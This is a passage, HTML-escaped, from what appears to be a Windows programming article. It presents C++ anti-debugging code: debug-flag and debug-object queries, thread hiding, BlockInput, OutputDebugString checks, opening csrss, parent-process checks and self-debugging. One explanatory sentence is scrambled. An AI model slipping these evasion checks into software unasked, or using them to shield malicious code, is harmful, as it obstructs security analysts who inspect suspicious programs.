NtQueryInformationProcess&lt;/span&gt;&lt;br /&gt;   pNtQueryInformationProcess NtQIP = (pNtQueryInformationProcess)&lt;br /&gt;       GetProcAddress( GetModuleHandle( TEXT(&lt;span class="code-string"&gt;"&lt;/span&gt;&lt;span class="code-string"&gt;ntdll.dll"&lt;/span&gt;) ),&lt;br /&gt;       &lt;span class="code-string"&gt;"&lt;/span&gt;&lt;span class="code-string"&gt;NtQueryInformationProcess"&lt;/span&gt; );&lt;br /&gt;&lt;br /&gt;   Status = NtQIP(GetCurrentProcess(),&lt;br /&gt;           0x1f, &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; ProcessDebugFlags&lt;/span&gt;&lt;br /&gt;           &amp;amp;NoDebugInherit, &lt;span class="code-digit"&gt;4&lt;/span&gt;, NULL);&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-keyword"&gt;if&lt;/span&gt; (Status != 0x00000000)&lt;br /&gt;       &lt;span class="code-keyword"&gt;return&lt;/span&gt; &lt;span class="code-keyword"&gt;false&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-keyword"&gt;if&lt;/span&gt;(NoDebugInherit == FALSE)&lt;br /&gt;       &lt;span class="code-keyword"&gt;return&lt;/span&gt; &lt;span class="code-keyword"&gt;true&lt;/span&gt;;&lt;br /&gt;   &lt;span class="code-keyword"&gt;else&lt;/span&gt;&lt;br /&gt;       &lt;span class="code-keyword"&gt;return&lt;/span&gt; &lt;span class="code-keyword"&gt;false&lt;/span&gt;;&lt;br /&gt;}&lt;/span&gt;&lt;/pre&gt; &lt;h3 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="DebugObjectHandle"&gt;&lt;/a&gt;Debug Object Handle&lt;/span&gt;&lt;/h3&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;Beginning from Windows XP, when a process is debugged, a debug object would be created for that debugging session. A handle to this object is also created, and can be queried using &lt;code&gt;NtQueryInformationProcess&lt;/code&gt;. The presence of this handle shows that the process is being actively debugged, and this information can be quite a pain to hide since it comes from the kernel. Here's the &lt;code&gt;DebugObjectCheck&lt;/code&gt; function:&lt;/span&gt;&lt;/p&gt; &lt;div class="SmallText" id="premain8" style="width: 100%; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://www.codeproject.com/images/minus.gif" style="cursor: pointer;" onclick="popview(this)" width="9" height="9" /&gt;&lt;span id="precollapse8" style="margin-bottom: 0px; cursor: pointer;" preid="8"&gt; Collapse&lt;/span&gt;&lt;img src="http://www.codeproject.com/images/copy_16.png" style="cursor: pointer; margin-left: 35px;" onclick="popview(this)" width="16" height="16" /&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#" preid="8"&gt; Copy Code&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre id="pre8" style="margin-top: 0px; font-family: arial;" lang="cpp"&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; This function uses NtQuerySystemInformation&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; to try to retrieve a handle to the current&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; process's debug object handle. If the function&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; is successful it'll return true which means we're&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; being debugged or it'll return false if it fails&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; or the process isn't being debugged&lt;/span&gt;&lt;br /&gt;&lt;span class="code-keyword"&gt;inline&lt;/span&gt; &lt;span class="code-keyword"&gt;bool&lt;/span&gt; DebugObjectCheck()&lt;br /&gt;{&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Much easier in ASM but C/C++ looks so much better&lt;/span&gt;&lt;br /&gt;   &lt;span class="code-keyword"&gt;typedef&lt;/span&gt; NTSTATUS (WINAPI *pNtQueryInformationProcess)&lt;br /&gt;           (HANDLE ,UINT ,PVOID ,ULONG , PULONG);&lt;br /&gt;&lt;br /&gt;   HANDLE hDebugObject = NULL;&lt;br /&gt;   NTSTATUS Status;&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Get NtQueryInformationProcess&lt;/span&gt;&lt;br /&gt;   pNtQueryInformationProcess NtQIP = (pNtQueryInformationProcess)&lt;br /&gt;               GetProcAddress(  GetModuleHandle( TEXT(&lt;span class="code-string"&gt;"&lt;/span&gt;&lt;span class="code-string"&gt;ntdll.dll"&lt;/span&gt;) ),&lt;br /&gt;               &lt;span class="code-string"&gt;"&lt;/span&gt;&lt;span class="code-string"&gt;NtQueryInformationProcess"&lt;/span&gt; );&lt;br /&gt;&lt;br /&gt;   Status = NtQIP(GetCurrentProcess(),&lt;br /&gt;           0x1e, &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; ProcessDebugObjectHandle&lt;/span&gt;&lt;br /&gt;           &amp;amp;hDebugObject, &lt;span class="code-digit"&gt;4&lt;/span&gt;, NULL);&lt;br /&gt;  &lt;br /&gt;   &lt;span class="code-keyword"&gt;if&lt;/span&gt; (Status != 0x00000000)&lt;br /&gt;       &lt;span class="code-keyword"&gt;return&lt;/span&gt; &lt;span class="code-keyword"&gt;false&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-keyword"&gt;if&lt;/span&gt;(hDebugObject)&lt;br /&gt;       &lt;span class="code-keyword"&gt;return&lt;/span&gt; &lt;span class="code-keyword"&gt;true&lt;/span&gt;;&lt;br /&gt;   &lt;span class="code-keyword"&gt;else&lt;/span&gt;&lt;br /&gt;       &lt;span class="code-keyword"&gt;return&lt;/span&gt; &lt;span class="code-keyword"&gt;false&lt;/span&gt;;&lt;br /&gt;}&lt;/span&gt;&lt;/pre&gt; &lt;h3 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="ThreadHiding"&gt;&lt;/a&gt;Thread Hiding&lt;/span&gt;&lt;/h3&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;In Windows 2000, the guys behind Windows introduced a new class to be passed into &lt;code&gt;NtSetInformationThread&lt;/code&gt;, and it was named &lt;code&gt;HideThreadFromDebugger&lt;/code&gt;. It is the first anti-debugging API implemented by Windows, and is very powerful. The class prevents debuggers from receiving events from any thread that has had &lt;code&gt;NtSetInformationThread&lt;/code&gt; with the &lt;code&gt;HideThreadFromDebugger&lt;/code&gt;&lt;code&gt;HideThread&lt;/code&gt; function:&lt;/span&gt; class called on it. These events include breakpoints, and the exiting of the program if it is called on the main thread of an application. Here is the &lt;/p&gt; &lt;div class="SmallText" id="premain9" style="width: 100%; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://www.codeproject.com/images/minus.gif" style="cursor: pointer;" onclick="popview(this)" width="9" height="9" /&gt;&lt;span id="precollapse9" style="margin-bottom: 0px; cursor: pointer;" preid="9"&gt; Collapse&lt;/span&gt;&lt;img src="http://www.codeproject.com/images/copy_16.png" style="cursor: pointer; margin-left: 35px;" onclick="popview(this)" width="16" height="16" /&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#" preid="9"&gt; Copy Code&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre id="pre9" style="margin-top: 0px; font-family: arial;" lang="cpp"&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; HideThread will attempt to use&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; NtSetInformationThread to hide a thread&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; from the debugger, Passing NULL for&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; hThread will cause the function to hide the thread&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; the function is running in. Also, the function returns&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; false on failure and true on success&lt;/span&gt;&lt;br /&gt;&lt;span class="code-keyword"&gt;inline&lt;/span&gt; &lt;span class="code-keyword"&gt;bool&lt;/span&gt; HideThread(HANDLE hThread)&lt;br /&gt;{&lt;br /&gt;   &lt;span class="code-keyword"&gt;typedef&lt;/span&gt; NTSTATUS (NTAPI *pNtSetInformationThread)&lt;br /&gt;               (HANDLE, UINT, PVOID, ULONG);&lt;br /&gt;   NTSTATUS Status;&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Get NtSetInformationThread&lt;/span&gt;&lt;br /&gt;   pNtSetInformationThread NtSIT = (pNtSetInformationThread)&lt;br /&gt;       GetProcAddress(GetModuleHandle( TEXT(&lt;span class="code-string"&gt;"&lt;/span&gt;&lt;span class="code-string"&gt;ntdll.dll"&lt;/span&gt;) ),&lt;br /&gt;       &lt;span class="code-string"&gt;"&lt;/span&gt;&lt;span class="code-string"&gt;NtSetInformationThread"&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Shouldn't fail&lt;/span&gt;&lt;br /&gt;   &lt;span class="code-keyword"&gt;if&lt;/span&gt; (NtSIT == NULL)&lt;br /&gt;       &lt;span class="code-keyword"&gt;return&lt;/span&gt; &lt;span class="code-keyword"&gt;false&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Set the thread info&lt;/span&gt;&lt;br /&gt;   &lt;span class="code-keyword"&gt;if&lt;/span&gt; (hThread == NULL)&lt;br /&gt;       Status = NtSIT(GetCurrentThread(),&lt;br /&gt;               0x11, &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; HideThreadFromDebugger&lt;/span&gt;&lt;br /&gt;               &lt;span class="code-digit"&gt;0&lt;/span&gt;, &lt;span class="code-digit"&gt;0&lt;/span&gt;);&lt;br /&gt;   &lt;span class="code-keyword"&gt;else&lt;/span&gt;&lt;br /&gt;       Status = NtSIT(hThread, 0x11, &lt;span class="code-digit"&gt;0&lt;/span&gt;, &lt;span class="code-digit"&gt;0&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-keyword"&gt;if&lt;/span&gt; (Status != 0x00000000)&lt;br /&gt;       &lt;span class="code-keyword"&gt;return&lt;/span&gt; &lt;span class="code-keyword"&gt;false&lt;/span&gt;;&lt;br /&gt;   &lt;span class="code-keyword"&gt;else&lt;/span&gt;&lt;br /&gt;       &lt;span class="code-keyword"&gt;return&lt;/span&gt; &lt;span class="code-keyword"&gt;true&lt;/span&gt;;&lt;br /&gt;}&lt;/span&gt;&lt;/pre&gt; &lt;h3 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="BlockInput"&gt;&lt;/a&gt;BlockInput&lt;/span&gt;&lt;/h3&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;This is about as simple as it comes. &lt;code&gt;BlockInput&lt;/code&gt; does as the names suggests, and blocks mouse and keyboard messages from reaching the desired application; this technique is effective due to the fact that only the thread that called &lt;code&gt;BlockInput&lt;/code&gt; can call it to remove the block ("BlockInput Function"). This isn't really an anti-reverse engineering technique, but more of a way to mess with someone debugging your application. A simple source code looks like:&lt;/span&gt;&lt;/p&gt; &lt;div class="SmallText" id="premain10" style="width: 100%; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://www.codeproject.com/images/minus.gif" style="cursor: pointer;" onclick="popview(this)" width="9" height="9" /&gt;&lt;span id="precollapse10" style="margin-bottom: 0px; cursor: pointer;" preid="10"&gt; Collapse&lt;/span&gt;&lt;img src="http://www.codeproject.com/images/copy_16.png" style="cursor: pointer; margin-left: 35px;" onclick="popview(this)" width="16" height="16" /&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#" preid="10"&gt; Copy Code&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre id="pre10" style="margin-top: 0px; font-family: arial;" lang="cpp"&gt;&lt;span style="font-size:85%;"&gt;BlockInput(TRUE); &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Nice and simple :D&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt; &lt;h3 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="OutputDebugString"&gt;&lt;/a&gt;OutputDebugString&lt;/span&gt;&lt;/h3&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;The &lt;code&gt;OutputDebugString&lt;/code&gt; technique works by determining if &lt;code&gt;OutputDebugString&lt;/code&gt; causes an error. An error will only occur if there is no active debugger for the process to receive the string; therefore, we can conclude that if there is no error (by calling &lt;code&gt;GetLastError&lt;/code&gt;) after calling &lt;code&gt;OutputDebugString&lt;/code&gt;, then there is a debugger present.&lt;/span&gt;&lt;/p&gt; &lt;div class="SmallText" id="premain11" style="width: 100%; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://www.codeproject.com/images/minus.gif" style="cursor: pointer;" onclick="popview(this)" width="9" height="9" /&gt;&lt;span id="precollapse11" style="margin-bottom: 0px; cursor: pointer;" preid="11"&gt; Collapse&lt;/span&gt;&lt;img src="http://www.codeproject.com/images/copy_16.png" style="cursor: pointer; margin-left: 35px;" onclick="popview(this)" width="16" height="16" /&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#" preid="11"&gt; Copy Code&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre id="pre11" style="margin-top: 0px; font-family: arial;" lang="cpp"&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; CheckOutputDebugString checks whether or &lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; OutputDebugString causes an error to occur&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; and if the error does occur then we know &lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; there's no debugger, otherwise if there IS&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; a debugger no error will occur&lt;/span&gt;&lt;br /&gt;&lt;span class="code-keyword"&gt;inline&lt;/span&gt; &lt;span class="code-keyword"&gt;bool&lt;/span&gt; CheckOutputDebugString(LPCTSTR &lt;span class="code-SDKkeyword"&gt;String&lt;/span&gt;)&lt;br /&gt;{&lt;br /&gt;   OutputDebugString(&lt;span class="code-SDKkeyword"&gt;String&lt;/span&gt;);&lt;br /&gt;   &lt;span class="code-keyword"&gt;if&lt;/span&gt; (GetLastError() == &lt;span class="code-digit"&gt;0&lt;/span&gt;)&lt;br /&gt;       &lt;span class="code-keyword"&gt;return&lt;/span&gt; &lt;span class="code-keyword"&gt;true&lt;/span&gt;;&lt;br /&gt;   &lt;span class="code-keyword"&gt;else&lt;/span&gt;&lt;br /&gt;       &lt;span class="code-keyword"&gt;return&lt;/span&gt; &lt;span class="code-keyword"&gt;false&lt;/span&gt;;&lt;br /&gt;}&lt;/span&gt;&lt;/pre&gt; &lt;h2 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" id="ProcessExploitation" name="ProcessExploitation"&gt;&lt;/a&gt;Process Exploitation&lt;/span&gt;&lt;/h2&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;These techniques exploit the Windows process environment and management system in order to implement protection. Some of these techniques, especially self-debugging, are widely used by many packers and protectors.&lt;/span&gt;&lt;/p&gt; &lt;h3 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="OpenProcess"&gt;&lt;/a&gt;Open Process&lt;/span&gt;&lt;/h3&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;This debugger detection technique exploits process privileges in order to determine if a process is currently being run under a debugger. This technique works because when a process is attached to or run under a debugger, if the process privileges are not correctly reset by the attaching debugger, the process receives the &lt;code&gt;SeDebugPrivilege&lt;/code&gt; set which allows the process to open a handle to any process ("How To Use the SeDebugPrivilege to Acquire Any Process Handle"). This includes a vital system process like &lt;em&gt;csrss.exe&lt;/em&gt;, which we normally wouldn't have access to. Here is some source code to illustrate the technique:&lt;/span&gt;&lt;/p&gt; &lt;div class="SmallText" id="premain12" style="width: 100%; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://www.codeproject.com/images/minus.gif" style="cursor: pointer;" onclick="popview(this)" width="9" height="9" /&gt;&lt;span id="precollapse12" style="margin-bottom: 0px; cursor: pointer;" preid="12"&gt; Collapse&lt;/span&gt;&lt;img src="http://www.codeproject.com/images/copy_16.png" style="cursor: pointer; margin-left: 35px;" onclick="popview(this)" width="16" height="16" /&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#" preid="12"&gt; Copy Code&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre id="pre12" style="margin-top: 0px; font-family: arial;" lang="cpp"&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; The function will attempt to open csrss.exe with &lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; PROCESS_ALL_ACCESS rights if it fails we're &lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; not being debugged however, if its successful we probably are&lt;/span&gt;&lt;br /&gt;&lt;span class="code-keyword"&gt;inline&lt;/span&gt; &lt;span class="code-keyword"&gt;bool&lt;/span&gt; CanOpenCsrss()&lt;br /&gt;{&lt;br /&gt;   HANDLE Csrss = &lt;span class="code-digit"&gt;0&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; If we're being debugged and the process has&lt;/span&gt;&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; SeDebugPrivileges privileges then this call&lt;/span&gt;&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; will be successful, note that this only works&lt;/span&gt;&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; with PROCESS_ALL_ACCESS.&lt;/span&gt;&lt;br /&gt;   Csrss = OpenProcess(PROCESS_ALL_ACCESS,&lt;br /&gt;               FALSE, GetCsrssProcessId());&lt;br /&gt;  &lt;br /&gt;   &lt;span class="code-keyword"&gt;if&lt;/span&gt; (Csrss != NULL)&lt;br /&gt;   {&lt;br /&gt;       CloseHandle(Csrss);&lt;br /&gt;       &lt;span class="code-keyword"&gt;return&lt;/span&gt; &lt;span class="code-keyword"&gt;true&lt;/span&gt;;&lt;br /&gt;   }       &lt;br /&gt;   &lt;span class="code-keyword"&gt;else&lt;/span&gt;&lt;br /&gt;       &lt;span class="code-keyword"&gt;return&lt;/span&gt; &lt;span class="code-keyword"&gt;false&lt;/span&gt;;&lt;br /&gt;}&lt;/span&gt;&lt;/pre&gt; &lt;h3 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" id="ParentProcess" name="ParentProcess"&gt;&lt;/a&gt;Parent Process&lt;/span&gt;&lt;/h3&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;Normally, Windows users start a process from a window created or provided by the Windows Shell. In this situation, the child process's parent process is &lt;em&gt;Explorer.exe&lt;/em&gt;. Therefore, we can retrieve the process ID of &lt;em&gt;Explorer.exe&lt;/em&gt; and our parent process and compare them. This is, of course, a somewhat risky process since the parent process of your process isn't guaranteed to be &lt;em&gt;Explorer.exe&lt;/em&gt;; nonetheless, it is still an interesting technique, and here is an example:&lt;/span&gt;&lt;/p&gt; &lt;div class="SmallText" id="premain13" style="width: 100%; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://www.codeproject.com/images/minus.gif" style="cursor: pointer;" onclick="popview(this)" width="9" height="9" /&gt;&lt;span id="precollapse13" style="margin-bottom: 0px; cursor: pointer;" preid="13"&gt; Collapse&lt;/span&gt;&lt;img src="http://www.codeproject.com/images/copy_16.png" style="cursor: pointer; margin-left: 35px;" onclick="popview(this)" width="16" height="16" /&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#" preid="13"&gt; Copy Code&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre id="pre13" style="margin-top: 0px; font-family: arial;" lang="cpp"&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; This function returns true if the parent process of&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; the current running process is Explorer.exe&lt;/span&gt;&lt;br /&gt;&lt;span class="code-keyword"&gt;inline&lt;/span&gt; &lt;span class="code-keyword"&gt;bool&lt;/span&gt; IsParentExplorerExe()&lt;br /&gt;{&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Both GetParentProcessId and GetExplorerPIDbyShellWindow&lt;/span&gt;&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; can be found in the attached source&lt;/span&gt;&lt;br /&gt;   DWORD PPID = GetParentProcessId();&lt;br /&gt;   &lt;span class="code-keyword"&gt;if&lt;/span&gt;(PPID == GetExplorerPIDbyShellWindow())&lt;br /&gt;       &lt;span class="code-keyword"&gt;return&lt;/span&gt; &lt;span class="code-keyword"&gt;true&lt;/span&gt;;&lt;br /&gt;   &lt;span class="code-keyword"&gt;else&lt;/span&gt;&lt;br /&gt;       &lt;span class="code-keyword"&gt;return&lt;/span&gt; &lt;span class="code-keyword"&gt;false&lt;/span&gt;;&lt;br /&gt;       &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt;return GetParentProcessId() == GetExplorerPIDbyShellWindow()'&lt;/span&gt;&lt;br /&gt;}&lt;/span&gt;&lt;/pre&gt; &lt;h3 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="SelfDebugging"&gt;&lt;/a&gt;Self-Debugging&lt;/span&gt;&lt;/h3&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;Self-Debugging is a technique where the main process spawns a child process that debugs the process that created the child process, as shown in the diagram. This technique can be very useful as it can be utilized to implement techniques such as Nanomites and others. This also prevents other debuggers from attaching to the same process; however, this can be bypassed be setting the &lt;code&gt;EPROCESS-&lt;span class="code-keyword"&gt;&gt;&lt;/span&gt;DebugPort&lt;/code&gt; (the &lt;code&gt;EPROCESS&lt;/code&gt; structure is a struct returned by the kernel mode function &lt;code&gt;PsGetProcessId&lt;/code&gt;) field to 0. This allows another debugger to attach to a process that already has a debugger attached to it. Here's some sample code:&lt;/span&gt;&lt;/p&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://www.codeproject.com/KB/security/AntiReverseEngineering/selfdebug.png" style="cursor: pointer;" onclick="popview(this)" width="364" height="277" /&gt;&lt;/span&gt;&lt;/p&gt; &lt;div class="SmallText" id="premain14" style="width: 100%; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://www.codeproject.com/images/minus.gif" style="cursor: pointer;" onclick="popview(this)" width="9" height="9" /&gt;&lt;span id="precollapse14" style="margin-bottom: 0px; cursor: pointer;" preid="14"&gt; Collapse&lt;/span&gt;&lt;img src="http://www.codeproject.com/images/copy_16.png" style="cursor: pointer; margin-left: 35px;" onclick="popview(this)" width="16" height="16" /&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#" preid="14"&gt; Copy Code&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre id="pre14" style="margin-top: 0px; font-family: arial;" lang="cpp"&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Debug self is a function that uses CreateProcess&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; to create an identical copy of the current process&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; and debugs it&lt;/span&gt;&lt;br /&gt;&lt;span class="code-keyword"&gt;void&lt;/span&gt; DebugSelf()&lt;br /&gt;{&lt;br /&gt;   HANDLE hProcess = NULL;&lt;br /&gt;   DEBUG_EVENT de;&lt;br /&gt;   PROCESS_INFORMATION pi;&lt;br /&gt;   STARTUPINFO si;&lt;br /&gt;   ZeroMemory(&amp;amp;pi, &lt;span class="code-keyword"&gt;sizeof&lt;/span&gt;(PROCESS_INFORMATION));&lt;br /&gt;   ZeroMemory(&amp;amp;si, &lt;span class="code-keyword"&gt;sizeof&lt;/span&gt;(STARTUPINFO));&lt;br /&gt;   ZeroMemory(&amp;amp;de, &lt;span class="code-keyword"&gt;sizeof&lt;/span&gt;(DEBUG_EVENT));&lt;br /&gt;&lt;br /&gt;   GetStartupInfo(&amp;amp;si);&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Create the copy of ourself&lt;/span&gt;&lt;br /&gt;   CreateProcess(NULL, GetCommandLine(), NULL, NULL, FALSE,&lt;br /&gt;           DEBUG_PROCESS, NULL, NULL, &amp;amp;si, &amp;amp;pi);&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Continue execution&lt;/span&gt;&lt;br /&gt;   ContinueDebugEvent(pi.dwProcessId, pi.dwThreadId, DBG_CONTINUE);&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Wait for an event&lt;/span&gt;&lt;br /&gt;   WaitForDebugEvent(&amp;amp;de, INFINITE);&lt;br /&gt;}&lt;/span&gt;&lt;/pre&gt; &lt;h3 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="UnhandledExceptionFilter"&gt;&lt;/a&gt;UnhandledExceptionFilter&lt;/span&gt;&lt;/h3&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;The &lt;code&gt;UnhandledExceptionFilter&lt;/code&gt; is the long name for an exception handler that is called when there are no other handlers to handle the exception. The following diagram shows how Windows propagates exceptions. When utilizing the &lt;code&gt;UnhandledExceptionFilter&lt;/code&gt; technique, one needs to be aware that &lt;strong&gt;if a debugger is attached, that process will exit instead of resuming execution&lt;/strong&gt;, which in the context of anti-reverse engineering is quite fine, in my opinion.&lt;/span&gt;&lt;/p&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://www.codeproject.com/KB/security/AntiReverseEngineering/ExceptionPropagation.png" style="cursor: pointer;" onclick="popview(this)" width="226" height="342" /&gt;&lt;/span&gt;&lt;/p&gt; &lt;div class="SmallText" id="premain15" style="width: 100%; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://www.codeproject.com/images/minus.gif" style="cursor: pointer;" onclick="popview(this)" width="9" height="9" /&gt;&lt;span id="precollapse15" style="margin-bottom: 0px; cursor: pointer;" preid="15"&gt; Collapse&lt;/span&gt;&lt;img src="http://www.codeproject.com/images/copy_16.png" style="cursor: pointer; margin-left: 35px;" onclick="popview(this)" width="16" height="16" /&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#" preid="15"&gt; Copy Code&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre id="pre15" style="margin-top: 0px; font-family: arial;" lang="cpp"&gt;&lt;span style="font-size:85%;"&gt;LONG WINAPI UnhandledExcepFilter(PEXCEPTION_POINTERS pExcepPointers)&lt;br /&gt;{&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Restore old 